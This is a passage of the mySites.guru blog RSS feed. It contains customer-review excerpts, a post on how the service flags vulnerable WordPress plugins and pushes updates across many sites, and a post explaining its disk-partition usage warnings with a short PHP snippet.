&lt;p&gt;Anne Notarthomas at eKamria uses it daily for &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click logins&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup scheduling&lt;/a&gt;, uptime monitoring, and general maintenance. She says it saves her untold hours every month.&lt;/p&gt;
&lt;p&gt;Daniel Östgård manages about 200 Joomla and WordPress sites and describes it as saving “oceans of time.” At that scale, running updates manually would take days. Through mySites.guru it takes minutes.&lt;/p&gt;
&lt;h2&gt;You don’t need to be technical&lt;/h2&gt;
&lt;p&gt;Nick Lucas is a CEO with 7 sites. He’s self-taught, not a developer. He told us mySites.guru showed him security problems he had no idea existed. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit tools&lt;/a&gt; flag issues in plain language, so you don’t need to know what a CVE number means to act on them.&lt;/p&gt;
&lt;p&gt;That said, developers get plenty out of it too. Adam Haworth moved his agency from WP Umbrella because he wanted more control over security, specifically. He got it.&lt;/p&gt;
&lt;h2&gt;Does it treat Joomla and WordPress equally?&lt;/h2&gt;
&lt;p&gt;Most management tools are WordPress-only, or they bolt Joomla on as an afterthought. mySites.guru treats both equally, which matters if you have a mixed portfolio.&lt;/p&gt;
&lt;p&gt;Emanuel manages about 50 Joomla sites and says the tools cover almost any use case he’s thrown at them. Krisztina, a freelance Joomla developer, has been using it since 2015. She originally signed up to clean malware off a server full of hacked sites, then kept using it for day-to-day management. Andrés Restrepo works primarily with Joomla 5.x and says it changed how he works.&lt;/p&gt;
&lt;h2&gt;What did WPMayor rate it?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wpmayor.com&quot;&gt;WPMayor.com&lt;/a&gt; did an independent review and gave mySites.guru 4.6 out of 5 stars. Worth reading if you want an outside perspective.&lt;/p&gt;
&lt;h2&gt;Where can you read all the reviews?&lt;/h2&gt;
&lt;p&gt;These are just a few. The &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt; has them all, or you can &lt;a href=&quot;https://send-review.mysites.guru/&quot;&gt;leave your own&lt;/a&gt; whether or not you are still a customer.&lt;/p&gt;
&lt;p&gt;For a harder look at the numbers, we &lt;a href=&quot;https://mysites.guru/blog/what-90-reviews-say-about-mysites-guru/&quot;&gt;counted what all ninety of this summer’s reviews actually mention&lt;/a&gt;. The most common thing was not a feature.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;&lt;img alt=&quot;Review by Ben Yates&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 768px) 768px, 100vw&quot; width=&quot;768&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/review-by-ben-yates-1-768x1024.CooGIxKp_Z2wHXTu.webp&quot; srcset=&quot;https://mysites.guru/_astro/review-by-ben-yates-1-768x1024.CooGIxKp_1pRurX.webp 640w, https://mysites.guru/_astro/review-by-ben-yates-1-768x1024.CooGIxKp_Z1LGPmr.webp 750w, https://mysites.guru/_astro/review-by-ben-yates-1-768x1024.CooGIxKp_Z2wHXTu.webp 768w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>Reviews</category><enclosure url="https://mysites.guru/img/og/blog/mysites-guru-reviews.png" length="0" type="image/png"/></item><item><title>WordPress Plugin Vulnerability Alerting</title><link>https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/</guid><description>mySites.guru cross-references every WordPress plugin on your sites against Wordfence, CVE and custom threat databases, flagging vulnerable plugins instantly.</description><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Outdated plugins are the most common way WordPress sites get compromised. If you suspect a vulnerable plugin has already been exploited, &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;check whether your site has been hacked&lt;/a&gt; first - and if it has, the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked recovery guide&lt;/a&gt; covers what to do next. mySites.guru checks every plugin version on your connected sites against known vulnerability databases and flags the ones that need attention.&lt;/p&gt;
&lt;h2&gt;How does WordPress vulnerability detection work?&lt;/h2&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; runs twice a day on each connected site, collecting a list of every installed plugin and its version number.&lt;/p&gt;
&lt;p&gt;That list gets compared against several threat intelligence sources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence vulnerability data&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/&quot;&gt;CVE and Mitre datasets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Custom vulnerability lists and internal threat data built up over 12+ years&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a plugin version on your site matches a known vulnerability, it gets flagged immediately. A recent example: the &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 arbitrary file read vulnerability&lt;/a&gt; affected over 800,000 installs and was picked up automatically for any connected site running a vulnerable version. March 2026 was a particularly active month - &lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Elementor, Yoast SEO, WPForms, and Really Simple Security&lt;/a&gt; all shipped security patches in the same window, giving agencies managing large WordPress portfolios a lot to track at once.&lt;/p&gt;
&lt;h2&gt;What do WordPress vulnerability alerts look like?&lt;/h2&gt;
&lt;p&gt;On the main sites page, vulnerable sites are marked so you can spot them at a glance:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru sites list showing vulnerability warning badges next to affected WordPress sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;446&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-01-10.10.11-1024x446.CoTulatD_1o5X3e.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-01-10.10.11-1024x446.CoTulatD_Z2iCsT6.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-04-01-10.10.11-1024x446.CoTulatD_Z185XTD.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-04-01-10.10.11-1024x446.CoTulatD_1P2jaU.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-04-01-10.10.11-1024x446.CoTulatD_1o5X3e.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click into an individual site and you get the specifics - which plugins are affected, what the vulnerability is, and a link to the full disclosure:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru site detail view listing vulnerable plugins with CVE references and severity information&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;631&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-01-10.11.18-1024x631.q5J7MeSt_Z13VCvQ.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-01-10.11.18-1024x631.q5J7MeSt_Nyfb4.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-04-01-10.11.18-1024x631.q5J7MeSt_1Er9R9.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-04-01-10.11.18-1024x631.q5J7MeSt_Z2mWsbc.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-04-01-10.11.18-1024x631.q5J7MeSt_Z13VCvQ.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How do you fix vulnerable WordPress plugins?&lt;/h2&gt;
&lt;p&gt;In most cases, updating the plugin to the latest version is the fix. Plugin authors typically patch vulnerabilities in new releases, so staying current is the single best thing you can do.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; in mySites.guru will also flag other security hygiene issues - outdated PHP versions, debug mode left on, missing security headers - that compound the risk from vulnerable plugins. You should also &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor-only core updates&lt;/a&gt; so that WordPress keeps applying security patches without risking a major version jump that breaks plugin compatibility.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ What about zero-days?&lt;/p&gt;
  &lt;p&gt;Zero-day vulnerabilities have no public disclosure yet, so no scanner can catch them before they&apos;re known. Once a vulnerability hits Wordfence, CVE, or another public database, mySites.guru picks it up on the next snapshot cycle - typically within 12 hours.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do you update vulnerable WordPress plugins across all your sites?&lt;/h2&gt;
&lt;p&gt;Finding the vulnerability is half the job. Fixing it across 50 or 200 sites is where the time goes. If you’ve &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disabled automatic updates&lt;/a&gt; to keep control over what runs on your sites, you’ll want to push vulnerable plugin updates manually as soon as a patch is available.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt; lets you select every site running a vulnerable plugin version and push the update in one batch:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru mass update interface showing plugin updates queued across multiple WordPress sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;645&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-01-10.09.35-1024x645.Byu4EE0D_26f42s.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-04-01-10.09.35-1024x645.Byu4EE0D_Z1BT3vx.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-04-01-10.09.35-1024x645.Byu4EE0D_sSuUk.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-04-01-10.09.35-1024x645.Byu4EE0D_2k5jFv.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-04-01-10.09.35-1024x645.Byu4EE0D_26f42s.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can also &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass install a replacement plugin&lt;/a&gt; if the vulnerable extension has been abandoned and you need to swap it out entirely.&lt;/p&gt;
&lt;h2&gt;What do you do when a WordPress plugin has no patch available?&lt;/h2&gt;
&lt;p&gt;Sometimes a vulnerability gets disclosed before the author releases a fix. In that case:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Deactivate the plugin&lt;/strong&gt; on affected sites if it’s not critical to functionality&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file alerts&lt;/a&gt;&lt;/strong&gt; so you’ll know immediately if someone exploits it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt;&lt;/strong&gt; to check whether the vulnerability has already been used - or use the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; for a focused scan&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitor the plugin’s changelog&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/release-radar-joomla-wordpress-extension-releases/&quot;&gt;Release Radar&lt;/a&gt; logs new plugin releases publicly as they appear, and mySites.guru will automatically clear the alert once an updated version is installed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the plugin stays unpatched for an extended period, that’s usually a sign it’s been abandoned. Time to find an alternative.&lt;/p&gt;
&lt;h2&gt;Why does WordPress plugin security matter at scale?&lt;/h2&gt;
&lt;p&gt;One WordPress site with one vulnerable plugin is a manageable risk. But if you’re managing 100+ client sites with 15-20 plugins each, that’s a lot of versions to track. No one’s doing that by hand. The &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; page covers exactly how mySites.guru handles this at scale, with detail on the threat databases and detection cycle. Running Joomla as well? The &lt;a href=&quot;https://mysites.guru/joomla-vulnerability-scanner/&quot;&gt;Joomla vulnerability scanner&lt;/a&gt; page covers the same ground for Joomla extensions.&lt;/p&gt;
&lt;p&gt;mySites.guru runs these checks automatically, twice a day, across every connected site. When something needs attention, you see it on your dashboard - not three months later when a client calls to say their site is defaced.&lt;/p&gt;
&lt;p&gt;These vulnerability alerts are operational noise your bookkeeper does not need. If you invite an accountant via the &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;Accountant Portal&lt;/a&gt; role, they are excluded from security and update alerts by default.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on any WordPress site to see what mySites.guru finds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Vulnerability management is a key part of our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>plugins</category><category>vulnerability</category><category>alerts</category><enclosure url="https://mysites.guru/img/og/blog/wordpress-plugin-vulnerability-alerting.webp" length="0" type="image/webp"/></item><item><title>Web Server disk space monitoring</title><link>https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/</guid><description>mySites.guru monitors your server&apos;s real disk partition usage twice daily and alerts you before it fills up - even if your hosting quota looks fine.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; monitors your server’s actual disk partition usage - not your virtual hosting quota - and warns you before it fills up. Some web hosts don’t surface this information at all.&lt;/p&gt;
&lt;h2&gt;What does mySites.guru measure (and why)?&lt;/h2&gt;
&lt;p&gt;Every time mySites.guru takes a snapshot of your site (twice daily, or on demand), it calls two standard PHP functions that have existed since PHP 4.1.0:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/disk_free_space&quot;&gt;&lt;code&gt;disk_free_space&lt;/code&gt;&lt;/a&gt; - returns available space on the filesystem or disk partition&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/disk_total_space&quot;&gt;&lt;code&gt;disk_total_space&lt;/code&gt;&lt;/a&gt; - returns the total size of the filesystem or disk partition&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From those two numbers, we calculate space used and percentage used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;private&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; getDiskSpace&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt; function_exists&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;disk_free_space&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt; function_exists&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;disk_total_space&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        return&lt;/span&gt;&lt;span&gt; json_encode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;array&lt;/span&gt;&lt;span&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $data &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; array&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &apos;&lt;/span&gt;&lt;span&gt;free&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;  =&amp;gt;&lt;/span&gt;&lt;span&gt; disk_free_space&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;JPATH_BASE&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &apos;&lt;/span&gt;&lt;span&gt;total&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; =&amp;gt;&lt;/span&gt;&lt;span&gt; disk_total_space&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;JPATH_BASE&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;used&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;total&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;free&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;percentUsed&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; sprintf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;%.2f&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; ($data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;used&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; /&lt;/span&gt;&lt;span&gt; $data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;total&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;span&gt; 100&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;free&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]  &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;formatSize&lt;/span&gt;&lt;span&gt;($data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;free&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;total&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;formatSize&lt;/span&gt;&lt;span&gt;($data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;total&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;used&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]  &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;formatSize&lt;/span&gt;&lt;span&gt;($data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;used&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; json_encode&lt;/span&gt;&lt;span&gt;($data);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The stored data looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;free&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;1.18 TB&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;total&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;6 TB&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;used&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;4.82 TB&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;percentUsed&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;80.31&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;mySites.guru shows a &lt;strong&gt;warning&lt;/strong&gt; when the partition is over 85% full, and a &lt;strong&gt;critical alert&lt;/strong&gt; at 95% or more.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Partition vs. quota&lt;/p&gt;
  &lt;p&gt;This is the physical disk partition your site lives on, shared with every other site on the same server. It is not your hosting account quota. Your quota is a soft software limit - it has nothing to do with how much space is physically left on the drive.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;“But my web host says my quota is fine”&lt;/h2&gt;
&lt;p&gt;People hear this a lot. They contact their host, who tells them their account quota is fine. Then they email me saying mySites.guru is wrong.&lt;/p&gt;
&lt;p&gt;Two different numbers. Your hosting provider reports your &lt;strong&gt;account quota&lt;/strong&gt; - a software limit they set for your account. mySites.guru reports the &lt;strong&gt;physical disk partition&lt;/strong&gt; - the actual hard drive your files sit on, shared with potentially thousands of other sites.&lt;/p&gt;
&lt;p&gt;If the partition hits 100%, your site goes down regardless of what your quota says - and if multiple sites share that server, they’ll all &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;trigger downtime alerts at the same time&lt;/a&gt;. You won’t be able to take backups. MySQL may throw errcode 28 (no free space). And your hosting panel will still happily show your quota at “20% used.”&lt;/p&gt;
&lt;h2&gt;“There’s 1.18 TB free, so I’m fine at 80%”&lt;/h2&gt;
&lt;p&gt;Using the example data above: all the sites on that server have consumed 4.82 TB between them on a 6 TB partition. That’s a lot of sites sharing one drive.&lt;/p&gt;
&lt;p&gt;Say another customer on the same server runs a backup that eats that remaining 1.18 TB. They’re within their own quota, but the physical disk is now full. Your site is offline.&lt;/p&gt;
&lt;p&gt;That’s an extreme scenario, but we’ve seen plenty of hosts running partitions above 95%. We’ve seen servers with as little as 1 GB of free space remaining - on major hosts.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru disk space warnings showing servers with critically low free space&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 961px) 961px, 100vw&quot; width=&quot;961&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.19-961x1024.BNs3kY9o_28tJ4H.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.19-961x1024.BNs3kY9o_Z1iKvz9.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.19-961x1024.BNs3kY9o_YyR.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.19-961x1024.BNs3kY9o_U7bEc.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.19-961x1024.BNs3kY9o_28tJ4H.webp 961w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How do you disable disk space warnings?&lt;/h2&gt;
&lt;p&gt;If you’d rather not see these alerts, you can turn them off. Go to &lt;a href=&quot;https://manage.mysites.guru/en/account/notifications/#tab-settings&quot;&gt;Notifications &amp;amp; Preferences&lt;/a&gt;, open the Settings &amp;amp; Preferences tab, and toggle off “Show webhost disk space warnings.”&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru notification settings showing the disk space warning toggle&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;926&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.51-1024x926.DEzRK_PS_Z2vB0Wc.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.51-1024x926.DEzRK_PS_YShLl.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.51-1024x926.DEzRK_PS_ZL65oj.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.51-1024x926.DEzRK_PS_Z1mWgQb.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.32.51-1024x926.DEzRK_PS_Z2vB0Wc.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;“My quota is at 20% but you’re showing 97%”&lt;/h2&gt;
&lt;p&gt;That’s because they’re measuring different things. Your quota is a soft limit set by your host. The 97% is the physical partition your site runs on. Your quota could show plenty of room while the actual drive is nearly full.&lt;/p&gt;
&lt;p&gt;In fact, you might try to upload files well within your quota and fail - because the physical disk filled up first.&lt;/p&gt;
&lt;h2&gt;Why are the percentages so high?&lt;/h2&gt;
&lt;p&gt;Shared hosting providers pack as many sites onto the same hardware as possible. That’s how the economics work. It’s common for mass-market hosts to run partitions at 80-90%+ utilisation.&lt;/p&gt;
&lt;p&gt;The mySites.guru thresholds are 85% for a warning and 95% for critical. The severity depends on partition size: 95% on a 20 GB partition leaves almost nothing, while 95% on a 10 TB partition still leaves 500 GB free.&lt;/p&gt;
&lt;h2&gt;What should you do with this information?&lt;/h2&gt;
&lt;p&gt;Like &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;everything else in mySites.guru&lt;/a&gt;, we report what we find and give you the tools to act on it. Use the information, ignore it, or disable the feature entirely. Your call.&lt;/p&gt;
&lt;hr /&gt;
